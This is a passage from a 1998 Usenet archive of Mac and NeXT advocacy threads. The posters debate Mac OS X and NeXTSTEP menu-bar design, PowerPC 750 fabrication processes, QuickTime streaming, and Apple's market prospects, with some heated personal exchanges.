There are various programs that will allow multihoming on a Mac but it
would be nice if the added this to the standard Mac TCP stack.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 10:51:06 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pl3ke$1vj$1@plo.sierra.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0>
NNTP-Posting-Date: 28 Jul 1998 18:00:46 GMT
Joe Ragosta wrote in message ...
>
>Just as Microsoft and Intel will be obsoleting old machines months after
>they ship.
Name one product.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 29 Jul 1998 01:30:46 GMT
Organization: University of Illinois at Chicago
Message-ID: <6plu06$2kpm$1@piglet.cc.uic.edu>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org> <6pkoet$c0d@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Maury Markowitz <maury@remove_this.istar.ca> wrote:
: >
: > I'm curious about the process though, as it was noted to be a .29m process
: >and not a .25 one. This struck me as odd, as I was under the impression
: >everyone (in the PPC camp that is) is at .25 and moving to .18. Apparenly I
: >was wrong. Do you have a better roadmap for this?
: It is a little odd, yes. The Motorola datasheet lists the older
: PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
: "0.25 micron 5LM CMOS HiP 3.4".
: The IBM datasheet for the older PPC 750s lists
: "0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
: The core voltage is 2.5 - 2.75 V.
: -arun gupta
I've seen the process that the PPC 750 is manufactured on referred
to as a 0.28 or .29u process in the past. The 350MHz 604e was
manufactured on a process that was only referred to as .25u.
IBM calls this process CMOS 6X, and the PPC750 process CMOS 6S(2?).
I saw a statement yesterday by Motorola claiming that the process
used for manufacturing the 750's is the same as that used for
the 350MHz 604e/
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 29 Jul 1998 01:32:00 GMT
Organization: University of Illinois at Chicago
Message-ID: <6plu2g$2kpm$2@piglet.cc.uic.edu>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org> <6pkoet$c0d@newsb.netnews.att.com> <6pkqvl$5h0$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: : Maury Markowitz <maury@remove_this.istar.ca> wrote:
: : >
: : > I'm curious about the process though, as it was noted to be a .29m process
: : >and not a .25 one. This struck me as odd, as I was under the impression
: : >everyone (in the PPC camp that is) is at .25 and moving to .18. Apparenly I
: : >was wrong. Do you have a better roadmap for this?
: : It is a little odd, yes. The Motorola datasheet lists the older
: : PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
: : "0.25 micron 5LM CMOS HiP 3.4".
: : The IBM datasheet for the older PPC 750s lists
: : "0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
: : The core voltage is 2.5 - 2.75 V.
: I'm not sure, but it sounds like that this is just a migration to the
: "Mach 5" process.
: : -arun gupta
Motorola said as much yesterday.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 29 Jul 1998 01:37:29 GMT
Organization: University of Illinois at Chicago
Message-ID: <6plucp$2kpm$3@piglet.cc.uic.edu>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org> <6pkvqp$h6j$1@server.signat.org> <6pl440$pim$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: No, there are no 0.18um PPC's yet. The latest rumors are that it'll be
: 0.18um and copper in Mid 1999.
: Mach 5 is the "0.25um" process found on the 300 and 350 MHz PPC604e's.
: It was a much more aggressive process than the process used on the G3's.
: IBM called both process "0.25um". But just scanning the rough description,
: it was easy to tell that the "Mach 5" process was more advanced. This
: migration is a minor event, It merely brought the PPC750 to the same
: process as the PPC604e's from a year ago. (If my interpretation of the
: underlying process is correct)
: : Maury
Incidently this is the same process that IBM used for the Gigahertz
Unit Test Processor (GUTS) and also for their new generation
of mainframe processors.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 22:53:55 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728225039.5319A-100000@ux9.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2807981527030001@news>
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On Tue, 28 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
<snip>
> > You are arguing in circles. I am saying that it might be a good idea to
> > allow non-submenu invoking choices in the root level menu. If such a thing
> > were done, there would have to be indicators. The lack of indicators in
> > that case would be _bad_.
>
> That's fine, but don't apply it to the current OS and say that the Mac OS
> menu bar IS inconsistent, which is what you and others are saying. The Mac
> OS menu bar is currently consistent. Whether or not it would be consistent
> after your proposed changes seems to be a pointless discussion.
It is already inconsistent because there is already one very common
non-submen invoking item. The clock.
> > > The Mac OS menu interface is only inconsistent if you assume that the top
> > > level should have buttons that do not invoke menus. However, since this is
> > > not the case, it is perfectly consistent.
> >
> > Oh, indeed? What is that clock doing there? Does it bring down a submenu?
> >
> > Hmmm... maybe you are wrong.
>
> The clock isn't a button; it is a display. Therefore, my statement remains
> true: the top level does not have any buttons that do not invoke menus.
It's a display? Click on it. Does it drop down a submenu? What
differentiates a display from the "buttons" on the menubar. There _are_ no
buttons on the menubar. They are just words in text with spacing and the
occaisional picture. The clock is inconsistent and it does not have to be.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: Tue, 28 Jul 1998 15:31:20 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2807981531200001@128.84.203.149>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35c0bc2f.102516765@198.0.0.100> <6ph7vq$gpe$1@morgoth.sfu.ca> <35bda941.163206843@198.0.0.100> <6pie25$96h$1@morgoth.sfu.ca> <6pkvnt$to4$1@news.cc.ukans.edu>
In article <6pkvnt$to4$1@news.cc.ukans.edu>, "Nathan Hughes"
<nhughes@sunflower.com> wrote:
> OK, point me to the QT streaming content. Point me to the real time encoded
> QT streaming content. Let me know if it ever happens.
It happens all over the Internet today. The QuickTime plug-in has been
able to stream video and audio since the previous release in QuickTime
2.5.
What Apple is missing is broadcasting of live events. They have had beta
broadcasting software for a long time. I used a beta version of QuickTime
TV in the spring of 1997 to rebroadcast the local PBS channel over my dorm
ethernet network at Penn State. However, development of this software was
apparently put on hold for awhile, and Apple is only now getting around to
finishing it off.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: arlis@iquest.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 28 Jul 1998 18:04:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pl3r3$b4o$1@nnrp1.dejanews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com>
In article <6pkn6c$9re$4@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> don.brown@cesoft.com (Donald Brown) wrote:
> > But you are right in one thing. Lawsuits are for wussies.
>
> Actually, they are for people wronged. I'm sure calling the Browns wussies
> when they sued OJ probably clashes with most peoples sense of morality.
Do you really feel the minor misattribution Joe made (followed by a swift and
sincere apology), is on an equal plane with being falsely accused of child
molesting?
Do you really feel the damage done to your reputation is on an equal plane
with the damage inflicted on the Brown and Simpson families by the heinous
murder of their loved ones?
You are given to flights of hyperbole in your analogizing. It's all rather
distasteful at this point, and frankly has nothing to do with the topic of
this thread. It was pretty informative before you started obsessing over this
perceived defamation.
You take yourself too seriously. To state that you thought Apple was
completely at fault for this or that event is not damaging in any serious
way, and in no way lowered my opinion of you. I imagine the same is true for
the rest of the members of this NG.
If Joe had actually accused you of child molesting or murdered a member or
members of your family, that would be different, I guess. You're trying to
make a point with these analogies, but it doesn't work. The hypotheticals you
cite are of a completely different scope and magnitude than what actually
happened here.
Joe made an innocent mistake; you got your panties in a bunch; Joe apologized
immediately; you continued obsessing and have taken this thread hostage with
your fevered ranting.
Get over it.
Anxiously awaiting your point by point reply complete with diagrams and
references,
Arlis
--------------
Arlis R. Tyner - arlis@iquest.net - http://members.tripod.com/~arlis
"Nobody ever went broke underestimating the intelligence of the American
people." - P.T. Barnum
--------------
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:43:19 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981043190001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <andyba-ya02408000R2707981310020001@news> <6piu97$l9d$1@lwnws01.ne.highway1.com>
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In article <6piu97$l9d$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> andyba@corp.webtv.net (Andy Bates) wrote:
>
> > Why? How would the Mac OS be "limited" by a 9" screen. The same
> > UI works well on a 640x480 screen, and that resolution could
> > probably be produced on a 9" screen. It seems like you are hung
> > up on the size of the screen, when you should actually be talking
> > about the resolution displayed.
>
> Because most desktops/laptops being designed/manufactured today do XGA or
> more. Because 640X480 only provides 39% the work area of XGA. 39% the work
> area (in resolution) is a limitation.
Your logic is fallacious. "Most desktops and laptops have a 1024x768
screen; 640x480 only provides 39% of the work area of 1024x768; therefore
640x480 is a limitation." By your logic, I can say that no one should ever
buy a sports car. After all, most cars built today have five seats or more,
and a two-seater sports car provides only 40% of the seating area. Having
40% of the seating area is a limitation. Therefore, limiting the seating
area of a sports car is moronic.
The fact remains that people can and do get productive work done in a
640x480 resolution. And just like the car example, a cheap laptop with a
640x480 screen may allow you to do things that a larger (and more
expensive) 1024x768 could not. For example, if you're just reading email, a
larger screen might be less important than longer battery life, something
that a smaller unit might be able to provide. The fact remains that you do
not and can not know what people might use a low-cost portable for, and
stating that a 640x480 screen would be a "limitation" is assuming that your
point of view is the only one in the market.
> > And the Newton failed. In theory, it was a great idea. In practice,
> > people didn't like learning a new UI, and there wasn't enough
> > software being produced for it (especially with crossplatform
> > capabilities being taken into account). A Mac OS--based palmtop
> > would seem to solve both of these problems.
>
> This is funny. First you try to assert that I must hate the newton as though
> that were a bad thing. Then if I say some aspect of it may be good, you it
> seems you suggest its failure makes any good in it bad.
I never said that its failure makes any good in it bad! In fact, I have a
Newton, and I use it daily. However, I do feel that having software support
and market acceptance is a good thing, and a product might be more
successful that caters to those more than to an exclusive UI and codebase.
And besides, why do you think that a Newton-type UI can't be written for
the Mac OS?
> Regardless, then you
> can take the example of the PalmPilotUI.
Why couldn't that UI be written for the Mac, and given as an option for a
640x480 device?
> > That's great. These can display as much as 1024x768 resolution,
> > maybe even more. However, I am currently working in 632x624
> > resolution just fine, and I know people who use 640x480 regularly.
> > Why are these resolutions fine for desktop use, but useless for
> > a palmtop?
>
> The fact that you use old and dated technology should not be a limit for
> future UI designs. By that notion we'd still be stuck with DOS.
And again, why do you think that support for lower resolutions is somehow a
"limit" for future UI designs? The current Mac OS supports 8-bit color, but
that hasn't limited people who have 16- or 24-bit color.
> > AGAIN, how is the current Mac UI limited by its ability to work
> > on a smaller screen? For example, the ability to display small
> > icons does not limit desktop users to displaying large icons.
>
> This is a strawman. I've never said that the macUI is limited in usefullness
> on a 9" screen. I DEFY you to find that I did. I've always held that the
> macUI thrives on smaller screens.
You JUST SAID:
> In article <6pgjkh$1i1$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > Limiting a desktop/laptop UI to that of a palmtop/PDA unit LCD
> > is moronic.
Specifically, we were talking about a 9" screen, which can run 640x480
resolution. So if you think that the Mac UI thrives on smaller screens,
then why are you complaining about (theoretically) Apple producing a laptop
with a 9" LCD screen?
> > > I suggest they act sensibly. That means not limiting their
> > > desktop/laptop machines to the LCD of a palmtop/PDA UI.
> > And again, I put it to you that the current UI works well at
> > 640x480. How is it limited by that fact? You have yet to demonstrate
> > any way in which the current UI is limited by its ability to work
> > at lower resolutions, and hence, lower screen sizes.
>
> I never said any such thing. You must have misunderstood. I think the
> current macUI does very well on small screens. I think it doesn't do as well
> on large screens as other options. My statement is limiting a desktop/laptop
> UI to that of a palmtop/PDA unit is not wise, IMO. That means, for example,
> using or forcing the newtonUI, or the PalmPilot UI (which is pretty darn
> successful for small screens), onto a 1600X1200 21" desktop, or onto a
> 1024X768 laptop would be foolish.
So basically, you complaint isn't about putting out a portable with a 9"
640x480 screen running the Mac OS; it's really about the current Mac OS
running on a desktop machine. Is that correct? Well, why didn't you say so
in the first place? Don't you think that Apple could make UI advancements
that would be useful on a large screen, that could be turned off for a
smaller screen? For example, 48x48 icons are great for a larger screen, but
they would be bad for a 640x480 screen. Therefore, Apple provides the
option to use 16x16 or 32x32 icons instead. It works, and there's no need
to limit the desktop UI. Now, why do you think Apple can't do this same
thing in the future?
Andy Bates.
From: sandrock@wopr.wolfram.com (Mark Sandrock)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Quicktime, Microsoft, Rhaptel
Date: 28 Jul 1998 23:58:53 -0500
Organization: Wolfram Research, Inc.
Message-ID: <6pma6d$hq3$1@wopr.wolfram.com>
References: <6pd5ou$p7t@newsb.netnews.att.com> <35c0bc2f.102516765@198.0.0.100>
nhughes@sunflower.com (nate) writes:
>On 25 Jul 1998 17:48:14 GMT, gupta@kcopsrm.tm.tta.moc-mirror after @
>wrote:
>>***
>>My prediction is that Quicktime may break, badly, in an upcoming
>>Windows release.
>It does't need to break in an upcoming release. It already costs too
>much and lends ZERO benefit.
Which fails to explain why Microsoft allegedly asked Apple
three times to stop making QuickTime for Windows...
Mark
--
Mgr, Sys Admin
Wolfram Research, Inc.
Voice: 217-398-0700/x107
E-mail: sandrock@wolfram.com
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 13:30:25 -0500
Organization: Ericsson Inc.
Message-ID: <35BE18C1.9174ADB0@exu.ericsson.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com> <6pkvi0$ffe$1@lwnws01.ne.highway1.com>
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John Kheit wrote:
> Although I don't agree to extent, I do agree with the spirit of what you're
> getting at here. Consistency is not a good above all others. Sometimes it
> makes great sense to be inconsistent, no doubt.
Yeah, it's more important to be *correct* than to be consistent.
> The consistency, or lack of
> it associated with the mac pinstripe, isn't my particular beef with it. The
> shortcommings I find with it relate to it's wasteful use of screen space (to
> a lesser degree), and it's inflexibility in being moved about the screen and
> reoriented when a task warrents such action.
Sure, just because some of us like having the menu bar in one place
doesn't mean someone shouldn't be able to move it. I won't presume to
know best for anyone but myself. I think a movable menu bar would be a
good feature, even for me, in certain cases.
> However, I also like, in this
> case, the way NeXT menu's act like button palletes in a window (even if I
> might prefer it's orientation to be rotated to a horizontal layout at times).
That I find hideous. I just don't think menus and button palettes are
the same thing and the difference is important enough to be preserved.
The last thing I need is, like, Navigator buttons that become menus when
held down. Oh, s***! They are!
Why is this so wrong? Because it mutates one of the properties of a
button. In my opinion, widget integration should never (all right,
almost never) be attempted if it means scrubbing out one of the inherent
properties of one or more widgets. The original pushbutton was designed
so that if you held it down, it would wait for a mouseup. If you dragged
your mousedown off of the button and caused a mouseup somewhere else, no
action would be taken. This was the built-in "cancel" function of the
pushbutton. Adding menus to the button totally erases this behavior in
most cases, because it forces you to deal with a menu when you were just
considering, mid-click, whether to hit the button. In Navigator, if I
hold down the "back" button too long, it pulls down a history menu, and
letting go on the button itself does nothing, when I would actually like
it to go back to the immediately previous URL.
The NeXTstep menu/button palette is wrong for a similar reason. The
original MacOS menu was designed so that clicking on it created a menu.
The button palette breaks this, for one. Secondly, any chosen action was
always highlighted with a specific number of flashes to notify you which
action you took. With buttons in the menubar, that's gone. There's also
the karma of a menu: indicator or no, they were always representative of
a category, never a specific action. If I look at a menubar, I'm looking
at a *MENU*, not a bunch of miscellaneous widgets. NeXTstep loses that,
too. I always felt like I was staring at the NeXT menubar to figure it
out; nothing came automatically. I hated that.
MJP
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 14:31:22 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE18EB.AA6609BE@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com> <35BDF088.8AE8204@earthlink.net> <35bdfb5a.0@news.depaul.edu>
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Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Jon G. Temple <jontemple@earthlink.net> wrote:
>
> > PCI Macs are presently supported by Rhapsody,
>
> How well? Smoothly enough for it to be a volume OS?
Yup. But to be accepted by users, a transparent Blue Box is important. To
be accepted by developers, Copland was necessary. Pretty minor changes
really, but enough to qualify as a new release, though not a new OS.
> There's "support" and then there's "support".
Huh?
>
>
> > and the jump to the unsupported Mac OS X will be pretty pitifully
> > small as jumps go.
>
> And you would know this because...
...I think! Try it sometime! It's awesome! It keeps one from getting
screwed by large companies like Apple.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 11:05:15 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981105150001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net>
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In article <35bd8b31.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> Ah - sorry - I wasn't too clear there -
> I consider the menu-bar part of the menu system (ie it's a menu itsself).
This is an incorrect belief. It is not a menu: it is a menu bar. A menu can
be clicked (or clicked and held) to open; the menu bar is always open. A
menu can have an entry selected, once the mouse button is held, by
releasing; the menu bar has to be clicked to have an entry selected.
> It's already inconsistent with the other menus in that it's horizontal while
> the other menus are vertical, it's also inconsistent in that it assumes that
> everything in it is a sub-menu, while submenus make no such assumption.
> In fact, the menu-bar is so very inconsistent with the rest of the menu system
> that my meaning wasn't clear - presumably you don't consider it a menu?
The menu bar is perfectly consistent; it is your understanding that is
inconsistent.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 11:02:11 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2807981102110001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <22Vu1.7668$7k7.10422726@news.rdc1.sdca.home.com> <6pjb03$1jb@news1.panix.com> <35BD6B8B.7F9134BD@nstar.net>
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In article <35BD6B8B.7F9134BD@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Sal Denaro wrote:
>
> > Why not? That is exactly what you can do with NSInterfaceStyle. That is
> > exactly the motivation behind MacOS' InterfaceManager and Gnome's themes.
> > There are simple things that can be decided at run time that allow a GUI
> > to scale from 800*600 to 1600*1200 without having to change the Apps.
>
> You'll have to explain how this is so. Interchangeable graphics packs
> that alter the bitmapped appearance of widgets have exactly nothing to
> do with UI scalability, as far as I can tell. It's distressing that
> people seem to attach significance to "themes" when they amount to
> nothing more than your choice of sugar-coating.
Well, I believe (and please, someone correct me if I'm wrong) that Themes
allows you to change both the placement and the size of UI elements. So,
for example, you could have a theme with a 4x4 close box and a 4x8
WindowShade button, or a theme that has the menubar as an eight-pixel strip
along the bottom of the screen, or scrollbars that are only three pixels
wide, or whatever you need to make the OS work better on a smaller screen.
What do YOU think would alter UI scalability?
Andy Bates.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 18:47:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pl6c7$fhg$1@nnrp1.dejanews.com>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> > > The Mac OS menu interface is only inconsistent if you assume that the top
> > > level should have buttons that do not invoke menus. However, since this is
> > > not the case, it is perfectly consistent.
> >
> > Oh, indeed? What is that clock doing there? Does it bring down a submenu?
>
> The clock is indeed an inconsistent feature of the MacOS menu bar.
> However, the menu behavior of the MacOS menu bar is not inconsistent. To
> my mind, the NeXT menu hierarchy is _systematically_ inconsistent, while
> the MacOS menubar/menu dichotomy is appropriate despite the fact that
> the menubar happens to contain tidbits like the clock.
Frankly, I don't see what all the arguing is about. Consistency is
important, but it's not the only factor to consider.
Convenience is also important. That's why we have the clock on the menu bar --
because it's visible and cannot be obscured. To my mind, Print, Hide, and Quit
are used frequently enough that the ease of access resulting from top-level
access is more important than theoretical considerations of 'consistency'.
Habit also plays a very important role in how we do things, and we are often
quite willing to put up with considerable inconsistency for the sake of not
breaking habits. If the Mac had started with "Print", say, as a top-level
choice, every Mac user would be used to having it there and would hardly
notice the fact that, by some interpretations of what the menu bar is, it's
positioning could be said to be inconsistent. The important aspect of
consistency here is that wherever a given item is, it can predictably be
found in a similar location in other apps.
I got used to the Mac menu system. I got used to the NeXT menu system. I got
used to the Windows menu system. If I had my druthers and could pic the one I
preferred, I'd definitely go for the NeXT one. But I'll get used to whatever
Mac OS X uses.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Pulsar <tokarek@uiuc.edu>
